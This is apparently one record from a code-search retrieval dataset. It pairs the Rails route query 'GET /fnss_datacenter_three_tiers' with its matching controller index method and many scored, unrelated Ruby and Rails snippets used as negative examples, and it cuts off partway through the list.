query_id
stringlengths 32
32
| query
stringlengths 7
6.75k
| positive_passages
listlengths 1
1
| negative_passages
listlengths 88
101
|
---|---|---|---|
2917f536a3fd19a4009d3c0736c9101c
|
GET /fnss_datacenter_three_tiers GET /fnss_datacenter_three_tiers.json
|
[
{
"docid": "4e3644b1b0460deefa47082bac3a01c7",
"score": "0.7553371",
"text": "def index\n @fnss_datacenter_three_tiers = FnssDatacenterThreeTier.all\n end",
"title": ""
}
] |
[
{
"docid": "394b664f25c70944f119c98cb9f79cfc",
"score": "0.65975285",
"text": "def set_fnss_datacenter_three_tier\n @fnss_datacenter_three_tier = FnssDatacenterThreeTier.find(params[:id])\n end",
"title": ""
},
{
"docid": "6d7ad55b9aa7f21b939e364b054fa73c",
"score": "0.61348116",
"text": "def top_three\n @tipster = User.where(role: \"Tipster\")\n @top_3 = @tipster.order('win_percentage DESC').limit(3)\n render json: { data: @top_3 }.to_json\n end",
"title": ""
},
{
"docid": "1d87f0c549c8dfd344391aa6a5a40781",
"score": "0.61158055",
"text": "def create\n @fnss_datacenter_three_tier = FnssDatacenterThreeTier.new(fnss_datacenter_three_tier_params)\n\n respond_to do |format|\n if @fnss_datacenter_three_tier.save\n format.html { redirect_to @fnss_datacenter_three_tier, notice: 'Fnss datacenter three tier was successfully created.' }\n format.json { render :show, status: :created, location: @fnss_datacenter_three_tier }\n else\n format.html { render :new }\n format.json { render json: @fnss_datacenter_three_tier.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "53434cbbf9c1bef29d7a07f27b6dbf21",
"score": "0.590875",
"text": "def destroy\n @fnss_datacenter_three_tier.destroy\n respond_to do |format|\n format.html { redirect_to fnss_datacenter_three_tiers_url, notice: 'Fnss datacenter three tier was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "815546a5ea048ab7b445d1016e7aca17",
"score": "0.5833431",
"text": "def three\n \n @radio_station = RadioStation.new(\n id: 'radio3',\n country: '',\n key: 'bbc_radio_three',\n title: 'BBC Radio 3',\n colour: '#BA3732'\n )\n \n respond_to do |format|\n format.html { render 'index' }\n format.json { render json: @radio_station, callback: params[:callback] }\n format.xml { render xml: @radio_station }\n end\n end",
"title": ""
},
{
"docid": "c85cec40df4bb3360f9f5afaceb82e8b",
"score": "0.5786309",
"text": "def three_hourly_forecast_raw(region)\n res = 'val/wxfcs/all/'\n reg = region\n url = \"#{@base_url}#{res}#{@format}/#{reg}?res=3hourly&key=#{@apikey}\"\n url = URI.parse(url)\n resp = Net::HTTP.get(url)\n data = ::JSON.parse(resp)\n data['SiteRep']['DV']['Location'] # Step into array to get to forecasts data\nend",
"title": ""
},
{
"docid": "dcb198c22ccf455ab228cfa820c1f131",
"score": "0.57464623",
"text": "def index\n @fnss_datacenter_two_tiers = FnssDatacenterTwoTier.all\n end",
"title": ""
},
{
"docid": "8bf48a2c18fe132d3871ea54014393ee",
"score": "0.5707987",
"text": "def fnss_datacenter_three_tier_params\n params.require(:fnss_datacenter_three_tier).permit(:n_corethree_tier, :n_aggregationthree_tier, :n_edgesthree_tier, :n_hoststhree_tier, :name, :description, :status, :generator_id, :type_id, :user_id)\n end",
"title": ""
},
{
"docid": "2d38f529510b33956026a3de81b34a33",
"score": "0.56088334",
"text": "def index\n @tiers = current_district.tiers.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"title": ""
},
{
"docid": "03de2b730b3125145904ae3459e994fe",
"score": "0.5567713",
"text": "def t3(options={})\n options.reverse_merge!(:time_period => 5, :volume_factor => 0.7)\n idx_range = calc_indexes(:ta_t3_lookback, options[:time_period], options[:volume_factor])\n result = Talib.ta_t3(idx_range.begin, idx_range.end, price, options[:time_period], options[:volume_factor])\n memoize_result(self, :t3, idx_range, options, result, :overlap)\n end",
"title": ""
},
{
"docid": "dc420a89b50e0bb1bdb3287d49b5d8c0",
"score": "0.5560295",
"text": "def fetch_planner_step_three_details\n get('token/get-step-three-details')\n end",
"title": ""
},
{
"docid": "217ce1f9af679f1366f5cc2bfec8762a",
"score": "0.54663956",
"text": "def update\n respond_to do |format|\n if @fnss_datacenter_three_tier.update(fnss_datacenter_three_tier_params)\n format.html { redirect_to @fnss_datacenter_three_tier, notice: 'Fnss datacenter three tier was successfully updated.' }\n format.json { render :show, status: :ok, location: @fnss_datacenter_three_tier }\n else\n format.html { render :edit }\n format.json { render json: @fnss_datacenter_three_tier.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5f7820fee2dc96351df42263b8552fe5",
"score": "0.5462776",
"text": "def index\n @threeseatersofas = Threeseatersofa.all\n end",
"title": ""
},
{
"docid": "c88e308343d65a480efb4f2eb5d3dc1d",
"score": "0.54625237",
"text": "def show\n @threej = Threej.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @threej }\n end\n end",
"title": ""
},
{
"docid": "60d5de0cfead4034e27b92c2b12101eb",
"score": "0.5423893",
"text": "def index\n @thief_talents = ThiefTalent.all\n\n render json: @thief_talents\n end",
"title": ""
},
{
"docid": "65bc5d46a12a4688ecb5ae75b1b116b3",
"score": "0.54206276",
"text": "def get_taxis\n taxis = []\n favorites = User.find(params[:user_id]).taxis\n favorites.each{|taxi| taxis.push({id: taxi.id, user_id: taxi.user_id, service_id:taxi.service_id, alias: taxi.alias, score: Service.find(taxi.service_id).score})}\n render json: {taxis: taxis}\n end",
"title": ""
},
{
"docid": "1ecbf633e9f20e474f18ead8cf4773d4",
"score": "0.5389244",
"text": "def show\n @contest3rd = Contest3rd.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contest3rd }\n end\n end",
"title": ""
},
{
"docid": "e240c486c907c198f4cc508ac2ac26a6",
"score": "0.5386332",
"text": "def index\n @tdc = Tdc.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tdc }\n end\n end",
"title": ""
},
{
"docid": "167276e0117ea74fc053e034c2c199a4",
"score": "0.53742945",
"text": "def index\n @users = User.all\n @therapists = Therapist.all\n respond_to do |format|\n format.html { render :layout => 'main' }\n format.json { render :status => 200, :json => { action: 'index', therapists: @therapists, users: @users }}\n end\n end",
"title": ""
},
{
"docid": "e40ec43ed00c7efbfc3b2191fbf86876",
"score": "0.53722835",
"text": "def index\n @tippers = Tipper.all\n json_response(@tippers)\n end",
"title": ""
},
{
"docid": "e1af523b1bab2944c5534612dbaf9e89",
"score": "0.53621936",
"text": "def show\n @d3 = D3.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @d3 }\n end\n end",
"title": ""
},
{
"docid": "7c2f90fa78a825c1e697ecdec0a57549",
"score": "0.53381383",
"text": "def threecategories\n @threecategory = Threecategory.paginate(:page => params[:page], :per_page => 20).order(created_at: :desc)\n end",
"title": ""
},
{
"docid": "1009d1389046bf36e0e687014a1b1422",
"score": "0.53268856",
"text": "def three_hourly_forecast_headder(region)\n raw_data = three_hourly_forecast_raw(region)\n raw_data.each do |key, value|\n @id = value if key == 'i'\n @reg = value if key == 'name'\n @lon = value if key == 'lon'\n @lat = value if key == 'lat'\n end\nend",
"title": ""
},
{
"docid": "4ea0f06507eeaa4915c8b382f9e05c49",
"score": "0.53209966",
"text": "def index\n @factorial_scene3s = FactorialScene3.all\n end",
"title": ""
},
{
"docid": "0741157ceaf3f1214b21b30cd7181a90",
"score": "0.5273212",
"text": "def theaters\n Apis.client.get('/cinema/theaters')\n end",
"title": ""
},
{
"docid": "79a87b496cdbe927e9687e0acfa21e62",
"score": "0.52708876",
"text": "def index\n @tdwg_level_threes = TdwgLevelThree.all.paginate(:page => params[:page])\n end",
"title": ""
},
{
"docid": "d5b404d2b33e8202442a5dfd0b4fb0be",
"score": "0.5265567",
"text": "def index\n @tiers = Tier.all\n end",
"title": ""
},
{
"docid": "d5b404d2b33e8202442a5dfd0b4fb0be",
"score": "0.5265567",
"text": "def index\n @tiers = Tier.all\n end",
"title": ""
},
{
"docid": "5d12747080edbc6ab0ba510eca1839c5",
"score": "0.52614844",
"text": "def get_data\n uri = URI(\"https://taskboardv2.herokuapp.com/station1.json\")\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n response = http.request(Net::HTTP::Get.new(uri.request_uri))\n JSON.parse(response.body)\nend",
"title": ""
},
{
"docid": "30c827c2b341dea06b898bcc713cd58c",
"score": "0.5256539",
"text": "def datasets\n JSON.parse( RestClient.get( \"#{@url}/views.json\" ) )\n end",
"title": ""
},
{
"docid": "94b75f5c4280c0b592d0b7079482c881",
"score": "0.52558106",
"text": "def clinical_trials\n @@clinical_trials_search ||= 'http://med.stanford.edu/clinicaltrials/api/v1/trials/search'\n @@clinical_trials_client ||= begin\n require 'faraday'\n client = Faraday.new(url: @@clinical_trials_search) do |f|\n # f.use FaradayMiddleware::FollowRedirects, limit: 3\n # f.use Faraday::Response::RaiseError # raise exceptions on 40x, 50x\n # f.request :logger, @config.logger\n f.request :json\n f.response :json, :content_type => 'application/json'\n f.adapter Faraday.default_adapter\n end\n client.options.timeout = 90\n client.options.open_timeout = 10\n client\n end\n clinical_trials_url = profile['clinicalTrialsUrl']\n if clinical_trials_url\n search_params = /.*([?].*)/.match(clinical_trials_url)[1]\n response = @@clinical_trials_client.get search_params\n if response.status == 200\n json = response.body\n if json['count'] > 0\n json['trials'].each do |trial|\n # TODO: model the clinical trial data in VIVO.\n # example:\n #\n # {\"id\"=>\"NCT01314963\",\n # \"studyTitle\"=>\"Efficacy of Gamma Camera Used Intraoperatively for ID of Sentinel Lymph Nodes w/ Lymphoscintigraphy\",\n # \"stanfordRecruitingStatus\"=>\"NOT_RECRUITING\",\n # \"leadSponsorIsStanford\"=>true,\n # \"contactName\"=>\"Mike YaO\",\n # \"contactPhone\"=>\"3125435207\",\n # \"contactEmail\"=>\"[email protected]\",\n # \"briefSummary\"=>\n # \"\\n Lymphoscintigraphy is an accepted and commonly performed procedure used for staging of\\n certain cancers, especially melanoma and breast cancer. It involves injecting a small amount\\n of radioactivity under the skin in order to identify lymph nodes which should be biopsied\\n (i.e., the \\\"sentinel node\\\") to determine if cancer has spread. Our objective is to evaluate\\n the potential benefit of a new, camera-based technology which allows actual images to be\\n obtained intraoperatively in the identification of sentinel nodes.\\n \",\n # \"investigators\"=>\n # [{\"profileId\"=>6367, \"firstName\"=>\"Craig\", \"lastName\"=>\"Levin\", \"displayName\"=>\"Craig Levin\", \"principalInvestigator\"=>true}],\n # \"conditions\"=>[{\"id\"=>26, \"description\"=>\"Multiple Myeloma\"}]}\n end\n end\n end\n end\n end",
"title": ""
},
{
"docid": "3990ecc41f58bac7ae2ba3948910fd8c",
"score": "0.5226907",
"text": "def index\n @teamplayers = Teamplayer.all\n end",
"title": ""
},
{
"docid": "b1b993cdbe0e3fdbe789bbfc4ef1c026",
"score": "0.5218999",
"text": "def index\n @legs3s = Legs3.all\n end",
"title": ""
},
{
"docid": "40149c76e318bdb45e9719cbc6ba9073",
"score": "0.5211251",
"text": "def show\n @tread = Tread.find(params[:id])\n render json: @tread\n end",
"title": ""
},
{
"docid": "283584c2e557580b783c505e6f2697ee",
"score": "0.5197756",
"text": "def index\n @tipees = Tipee.all\n json_response(@tipees)\n end",
"title": ""
},
{
"docid": "beffd966d9666119e0e02d523ffd92fd",
"score": "0.51923156",
"text": "def index\n @note3s = Note3.all\n end",
"title": ""
},
{
"docid": "a48c16ac41c017c6ddf844164e852f9d",
"score": "0.5190268",
"text": "def index\n @legshome3s = Legshome3.all\n end",
"title": ""
},
{
"docid": "2e5205fd492ad1285bb358fa3029c40e",
"score": "0.51832867",
"text": "def index\n #returns top 3 trending queries\n @queries = Query.select(\"body, count(id) as freq\").where('created_at > ?', 5.days.ago).order('freq desc').group('body').limit('3')\n respond_to do |format|\n format.html {render :index}\n format.json {render :json => @queries}\n end\n end",
"title": ""
},
{
"docid": "99c26ea1f842521aa1c00f58ce0eb875",
"score": "0.5163554",
"text": "def show\n @decoration = Decoration.find(params[:id])\n @[email protected](params[:page]).per(3)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @decoration }\n end\n end",
"title": ""
},
{
"docid": "2e3a77f1858a486484bf9021d3b32ed4",
"score": "0.51597613",
"text": "def d3_data\n\t\t@posts = Post.all\n\t\t@user = User.find(current_user.id)\n\n\t\t# counting words section\n\t\tthoughts = []\n\t\[email protected] do |p| \n\t\t\tthoughts.push(p.body.split)\n\t\tend\n\n\t\t@thoughts_flatten = thoughts.flatten \n\t\t@thoughts_hash = counted_words(@thoughts_flatten) #function to count flattened words\n\t\t@thoughts_arry = change_counted_word_format(@thoughts_hash) #changing hash format\n\t\t@thoughts_json = @thoughts_arry.to_json #tansfering data to json\n\t\trender(json: @thoughts_json)\n\tend",
"title": ""
},
{
"docid": "87b3cabb04cb449a08635df5c8d178b7",
"score": "0.5155583",
"text": "def get_subway_dataset \n subway_dataset = HTTParty.get('https://data.cityofnewyork.us/api/views/kk4q-3rt2/rows.json?accessType=DOWNLOAD')\n return subway_dataset\nend",
"title": ""
},
{
"docid": "991038aa212683cdb17d713dbcb2db94",
"score": "0.514875",
"text": "def index\n @twentythrees = Twentythree.all\n end",
"title": ""
},
{
"docid": "566531e02c58088f42e68887ef200635",
"score": "0.51448107",
"text": "def set_tier_three_link\n @tier_three_link = TierThreeLink.find(params[:id])\n end",
"title": ""
},
{
"docid": "2924073449853458b2b7cd4e24d31897",
"score": "0.51426494",
"text": "def get3LvarsSummary\n clusterZips = params[:clusterZips] # get the list of ZIPs for each cluster, in this format: 1,2-3,4,5-6,7,8,9\n clusterZips = \"'\" + clusterZips.gsub(\",\", \"','\").gsub(\"-\", \"'-'\") + \"'\" # add ' around commas\n clusterCount = clusterZips.count '-'\n\n # Start with this: '1','2','3'-'4','5'-'6','7','8'-'\n # For each ZIP Cluster:\n # take the first chunk: '1','2','3', run it through SQL, and push the result (total PIF for that cluster) to \"results\"\n results = []\n for i in 1..clusterCount do\n tempClusterZips = clusterZips[0..clusterZips.index('-')-1]\n total_pif = AgentDim.select(\"sum(pif_allstate_total + pif_ivantage_total) as total_pif\").where(\"\\\"busZip3\\\" IN(\" + tempClusterZips + \")\")\n temp = {}\n temp['total_pif'] = total_pif[0].total_pif\n results.push(temp)\n clusterZips = clusterZips[tempClusterZips.length+1..clusterZips.length]\n end\n\n render :json => results.to_json\n end",
"title": ""
},
{
"docid": "bdb4dba21b17cf1f73c32ad76f3e6692",
"score": "0.5140149",
"text": "def get_step_three_details\n service_response = Economy::TokenSetupDetails::StepThree.new(params).perform\n render_api_response(service_response)\n end",
"title": ""
},
{
"docid": "abce97e351d927b2bb18f2b99c7c01aa",
"score": "0.5137916",
"text": "def show\n @tdc = Tdc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tdc }\n end\n end",
"title": ""
},
{
"docid": "a5da41622991265bbc43e2f1baf54427",
"score": "0.5126406",
"text": "def show\n @fleet = Fleet.find(params[:id])\n @invoices = @fleet.assets.limit 3\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fleet }\n end\n end",
"title": ""
},
{
"docid": "f5c923dab4affd41cf4331347db049b2",
"score": "0.51246965",
"text": "def index\n @tenures = Tenure.all\n render json: @tenures\n end",
"title": ""
},
{
"docid": "eb014d63c4da9b3ff6deb92c9941da80",
"score": "0.51087284",
"text": "def service\n Project.hit 35\n\n @train = get_service params[:service]\n\n respond_to do |format|\n format.html\n format.json { render json: @trains, callback: params[:callback] }\n format.xml { render xml: @trains }\n end\n end",
"title": ""
},
{
"docid": "fa533ed511a543dbe2d9c896f52c7211",
"score": "0.50891596",
"text": "def index\n @tichets = Tichet.all\n end",
"title": ""
},
{
"docid": "3a81af8d5ed98d17530797fcb91a2d3e",
"score": "0.50866425",
"text": "def index\r\n @ftts = FttResult.all\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @ftts }\r\n end\r\n end",
"title": ""
},
{
"docid": "67e45625008051cfd03a3b674e909ae6",
"score": "0.5082681",
"text": "def get_technician_results_for_page(page: 1)\n response = @http_client.get(@query + \"&per_page=25&page=#{page}\")\n json = response.body\n JSON.parse json\n end",
"title": ""
},
{
"docid": "d01d44b3f8872dc8a71e26a581e82faf",
"score": "0.5081912",
"text": "def index\n @tacos = Taco.all\n\n render json: @tacos\n end",
"title": ""
},
{
"docid": "fed32e6e9bd93f03b86bc2c60114ba49",
"score": "0.5075528",
"text": "def list_tenants_for_circle(args = {}) \n get(\"/tenantcircles.json/tenants\", args)\nend",
"title": ""
},
{
"docid": "cf099ba4db1617c85e6b1223579bea1b",
"score": "0.5070483",
"text": "def get_client_throughput_time_series_data(args = {}) \n get(\"/clients.json/stats/throughput\", args)\nend",
"title": ""
},
{
"docid": "a6160aab7514d2ac3d8e9edf8fcc2f56",
"score": "0.5055797",
"text": "def index\n @m3s = M3.all\n end",
"title": ""
},
{
"docid": "5bcd37b4c466214eb6a98819db8e1552",
"score": "0.5051768",
"text": "def index\n @trips = Trip.all\n # @trips = Trip.where(user_id: current_user.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json {\n render json: @trips.to_json(include: :markers)\n }\n end\n end",
"title": ""
},
{
"docid": "fd4095ebc45c39682b7e96411fab3cd1",
"score": "0.50450325",
"text": "def index\n @latstrapshome3s = Latstrapshome3.all\n end",
"title": ""
},
{
"docid": "aa31c52770768834feccede8dcf2b638",
"score": "0.50441945",
"text": "def tipsters\n nully\n @tipsters = User.where(role: \"Tipster\").to_json(:include => :user_connections)# the include is needed for the following button\n render json: { data: @tipsters }\n end",
"title": ""
},
{
"docid": "9013c1e407a67304baa5e19dcd557b9f",
"score": "0.50430477",
"text": "def trips\n @trip_requests = TripRequest.trips.paginate(page:params[:page], per_page:20)\n json_response(@trip_requests)\n end",
"title": ""
},
{
"docid": "bb518d422e16d000ef051c45557bb5b0",
"score": "0.50398",
"text": "def index\n @tees = Tee.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tees }\n end\n end",
"title": ""
},
{
"docid": "dc1fc9c8bb48b1296cad9a999a1afa87",
"score": "0.503812",
"text": "def index\n @thirdparties = Thirdparty.all\n end",
"title": ""
},
{
"docid": "37bf004d9d9fe614f683b3a6e2288c79",
"score": "0.5037423",
"text": "def list\n http.get(\"/takers\") do |response|\n respond_with_collection(response)\n end\n end",
"title": ""
},
{
"docid": "b77495a92cb1cd9fc62150f9856c1bc2",
"score": "0.50366724",
"text": "def three_hourly_forecast_values(region)\n three_hourly_forecast = {}\n raw_data = three_hourly_forecast_raw(region)\n raw_data['Period'].map do |key, _value|\n @date = key['value']\n key['Rep'].each do |weather_data, _v|\n three_hourly_forecast[@date] = forecast_hash(weather_data)\n end\n three_hourly_forecast\n end\n three_hourly_forecast\nend",
"title": ""
},
{
"docid": "e3995e9c7c11524046cdf47f9a93bd21",
"score": "0.50356865",
"text": "def set_threeseatersofa\n @threeseatersofa = Threeseatersofa.find(params[:id])\n end",
"title": ""
},
{
"docid": "2935527ce3879100dc9fa1a883d45e3a",
"score": "0.5034035",
"text": "def set_skybus_t3\n @skybus_t3 = SkybusT3.find(params[:id])\n end",
"title": ""
},
{
"docid": "f817589a7a05c0beccdc643ba922dadb",
"score": "0.50339746",
"text": "def tiers\n\t\t\tget_resource_link(:tiers, \"tiers\", \"tier\")\n\t end",
"title": ""
},
{
"docid": "b62341c820a41020c9fe0dad82b74586",
"score": "0.50297076",
"text": "def index\n @therapists = Therapist.all\n end",
"title": ""
},
{
"docid": "3d92805d1ebbf45c18060b2edc8437e5",
"score": "0.5020754",
"text": "def circle_tenants(params = {})\n \tget(\"/tenantcircles.json/tenants\",params)\n end",
"title": ""
},
{
"docid": "dd30d768a8f84b7e0a72538b3521baf7",
"score": "0.501698",
"text": "def index\n @cha3s = Cha3.all\n end",
"title": ""
},
{
"docid": "00d1e4567ce56d85d8bab0c538d0c7f3",
"score": "0.50162417",
"text": "def index\n @vtclasses = current_user.vtclasses.order(:campus, :subject_code, :course_number)\n # @fetcher = VtclassFetch.new\n # raise @fetcher.fetch_classes(\"CS\",201409,\"0\").to_yaml\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vtclasses }\n end\n end",
"title": ""
},
{
"docid": "8f7f535cdfe166a192671fd9bd69fa3f",
"score": "0.50142413",
"text": "def index\n @scene3s = Scene3.all\n end",
"title": ""
},
{
"docid": "002626f04d607d6b69e62396ccc71020",
"score": "0.5008214",
"text": "def all\n data = service.list_tiers.to_h[:items] || []\n load(data)\n end",
"title": ""
},
{
"docid": "75829dc29757c9879c9ea3dd5d149a41",
"score": "0.49966106",
"text": "def active_trains\n data = get_and_parse_json\n data['Trips'].length\n end",
"title": ""
},
{
"docid": "24216f9876f89e7ab349e1f2ebbb0cf8",
"score": "0.49964526",
"text": "def index\n @tecnicas = Tecnica.all\n render json: @tecnicas\n end",
"title": ""
},
{
"docid": "b8a9701759cc58a920d30b8003515020",
"score": "0.49953425",
"text": "def index\n @trains = Train.all\n headers['Access-Control-Allow-Origin'] = '*'\n puts Train.all\n puts @trains.class\n render json: @trains\n end",
"title": ""
},
{
"docid": "0c5f667f1d5f1b78fe41b8bb18e000bc",
"score": "0.4991666",
"text": "def index\n if (params[:database_id]) and !(params[:database_id]).blank? then\n @telemetries = Database.find(params[:database_id]).telemetries\n else\n @telemetries = Telemetry.all\n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @telemetries }\n end\n end",
"title": ""
},
{
"docid": "c93353d38f508d0ec75df9543e778be7",
"score": "0.49795145",
"text": "def index\r\n @tmts = TmtResult.all\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @tmts }\r\n end\r\n end",
"title": ""
},
{
"docid": "4063bc1c2414a108fb9c8fe84918326e",
"score": "0.497686",
"text": "def show\n @terapia = Terapia.find(params[:id])\n @terapias = Terapia.all(:order => \"created_at desc\", :limit => 5)\n @title = @terapia.nombre_corto\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @terapia }\n end\n end",
"title": ""
},
{
"docid": "9f099df3e2ba59f35afbb6afb2c8ff04",
"score": "0.49745697",
"text": "def index\n @foo3s = Foo3.all\n end",
"title": ""
},
{
"docid": "e8672bf85813385c21ea29b69000c3cf",
"score": "0.4957902",
"text": "def index\n @titeks = Titek.all\n end",
"title": ""
},
{
"docid": "645de68d360447749d7a5e6b371474b6",
"score": "0.49465683",
"text": "def query_datasf\n read_json(\"https://data.sfgov.org/resource/wwmu-gmzc.json?$limit=1000000\")\nend",
"title": ""
},
{
"docid": "850da9bd248f941a069094740791ad1b",
"score": "0.49387002",
"text": "def index\n @call3s = Call3.paginate(:page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @call3s }\n end\n end",
"title": ""
},
{
"docid": "8cdf68b94fc4c15261b59403f413e45b",
"score": "0.49374834",
"text": "def index\n @technicians = Technician.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @technicians }\n end\n end",
"title": ""
},
{
"docid": "427413f56ca8a82ebf715133a832d3b2",
"score": "0.4935727",
"text": "def data_volume_top_tweeters_queries(project_id, opts = {})\n get \"projects/#{project_id}/data/volume/toptweeters/queries\", opts\n end",
"title": ""
},
{
"docid": "b086b46ed5d12ddff841557b88537f58",
"score": "0.49334416",
"text": "def index\n @telacads = Telacad.all\n end",
"title": ""
},
{
"docid": "bc50d69065e832bc380475b9b8c2549f",
"score": "0.4927524",
"text": "def index\n @tramites = Tramite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tramites }\n end\n end",
"title": ""
},
{
"docid": "a7f476fd71cd226bff05e1c1478a46bf",
"score": "0.49180493",
"text": "def getListOfTeachers location, mar, stateType\n query = \"stateType = \" + stateType + \" and metaArtifactCode = '\" + mar +\"' order by name\"\n #query = \"code= 'UCL/UP'\"\n #listOfTeachers = UU::OS::ArtifactSearch.query(location, :query => query)\n\n listOfTeachers = JSON.parse(UU::OS::Property.get_value(@tcDataUri).data.read)\n\n teachers = []\n\n i = 0\n for item in listOfTeachers\n teacher = Hash.new\n teacher[\"code\"] = item[\"CODE\"]\n teacher[\"firstName\"] = convertNull2Empty(item[\"EMP_NAME\"])\n teacher[\"lastName\"] = convertNull2Empty(item[\"EMP_SURNAME\"])\n teacher[\"degreeBefore\"] = convertNull2Empty(item[\"EMP_TBN\"])\n teacher[\"degreeAfter\"] = convertNull2Empty(item[\"EMP_TAN\"])\n teacher[\"department\"] = convertNull2Empty(item[\"EMP_DEP\"])\n teacher[\"rank\"] = convertNull2Empty(item[\"EMP_RAN\"])\n teacher[\"personalPortal\"] = convertNull2Empty(item[\"CODE\"])\n teacher[\"businessCard\"] = convertNull2Empty(item[\"SYS.PPL/UID\"])\n teacher[\"personCard\"] = convertNull2Empty(item[\"EMP_PC\"])\n teacher[\"photo\"] = convertNull2Empty(item[\"PHOTO\"])\n teacher[\"sendMessage\"] = convertNull2Empty(item[\"SEND_MESSAGE\"])\n teacher[\"address\"] = convertNull2Empty(item[\"ADDRESS\"])\n teacher[\"phone\"] = convertNull2Empty(item[\"PHONE\"])\n teacher[\"email\"] = convertNull2Empty(item[\"EMAIL\"])\n\n teachers << teacher\n end\n\n jsonTeachers = JSON.pretty_generate(teachers)\n\n return jsonTeachers\n rescue UU::OS::QoS::QoSLimitException\n if count < 5\n #wait for some time\n sleep(QOSWAIT)\n count += 1\n #retry previous command\n retry\n end\n end",
"title": ""
},
{
"docid": "4466915a40a685b0b234ba256b531edf",
"score": "0.49025565",
"text": "def cdl3whitesoldiers(options={})\n idx_range = calc_indexes(:ta_cdl_3whitesoldiers_lookback)\n result = Talib.ta_cdl_3whitesoldiers(idx_range.begin, idx_range.end, opening, high, low, close)\n memoize_result(self, :cdl3whitesoldiers, idx_range, options, result, :candlestick)\n end",
"title": ""
},
{
"docid": "02f23f619b9049101793a95f8a797dbc",
"score": "0.48992947",
"text": "def index\n @fastds = Fastd.includes(:node).order('updated_at desc')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fastds }\n end\n end",
"title": ""
},
{
"docid": "9786bf4b45c1fa79d5dc5c66e89f139f",
"score": "0.48982412",
"text": "def index\n @trips = Trip.all\n\n render json: @trips\n end",
"title": ""
},
{
"docid": "377f64a5542b4a1ed25e2c98d0cf28f3",
"score": "0.4891324",
"text": "def index\n @fnss_datacenter_fattrees = FnssDatacenterFattree.all\n end",
"title": ""
},
{
"docid": "130ee428429e96646096eeaa77c767c8",
"score": "0.48877707",
"text": "def tiers_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: TiersApi.tiers_list ...'\n end\n # resource path\n local_var_path = '/tiers/'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'InlineResponse20011' \n\n # auth_names\n auth_names = opts[:auth_names] || ['Basic', 'Token']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TiersApi#tiers_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "23f7d32f11ec7e07a31d71c1f9fc6447",
"score": "0.48857677",
"text": "def index\n @topics = Topic.where(:state => 1).paginate(:page => params[:page], :per_page => 10).order('updated_at DESC')\n @forecasters = User.where(:is_forecaster=>1, :state => 1).order('id DESC').limit(10)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @topics }\n end\n end",
"title": ""
},
{
"docid": "8cf14cee89ed91b42fa6514d618c3c86",
"score": "0.4883061",
"text": "def show\n @technician = Technician.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @technician }\n end\n end",
"title": ""
},
{
"docid": "dbd9ab3a9b511e4bc681dc2dac5a9829",
"score": "0.48821738",
"text": "def index\n @level3s = Level3.all\n end",
"title": ""
},
{
"docid": "dd6ebc34d300ef80e82bda068610fba2",
"score": "0.488145",
"text": "def index\n @articles = Article.includes(:user).order(created_at: :desc).paginate(:page => params[:page])\n @motd = Motd.order(created_at: :desc).limit(3)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end",
"title": ""
},
{
"docid": "05d09302be982f21a67335593750f388",
"score": "0.48785958",
"text": "def all_trips\n @trips = Trip.all\n render json: @trips\n end",
"title": ""
},
{
"docid": "eed42aea8971520aec6c4d59481d1fff",
"score": "0.48779064",
"text": "def index\n @trailheads = Trailhead.all\n\n respond_to do |format|\n format.html do \n authenticate_user!\n end\n format.json do\n entity_factory = ::RGeo::GeoJSON::EntityFactory.instance\n if (params[:loc])\n @trailheads = sort_by_distance(@trailheads) \n end\n features = []\n @trailheads.each do |trailhead|\n feature = entity_factory.feature(trailhead.geom, trailhead.id, trailhead.attributes.except(\"geom\", \"wkt\").merge( {:distance => trailhead.distance} ))\n features.push(feature)\n end\n collection = entity_factory.feature_collection(features)\n my_geojson = RGeo::GeoJSON::encode(collection)\n render json: Oj.dump(my_geojson)\n end\n end\n end",
"title": ""
},
{
"docid": "be95c2ca21542a0f90e86ad3778734a6",
"score": "0.48758125",
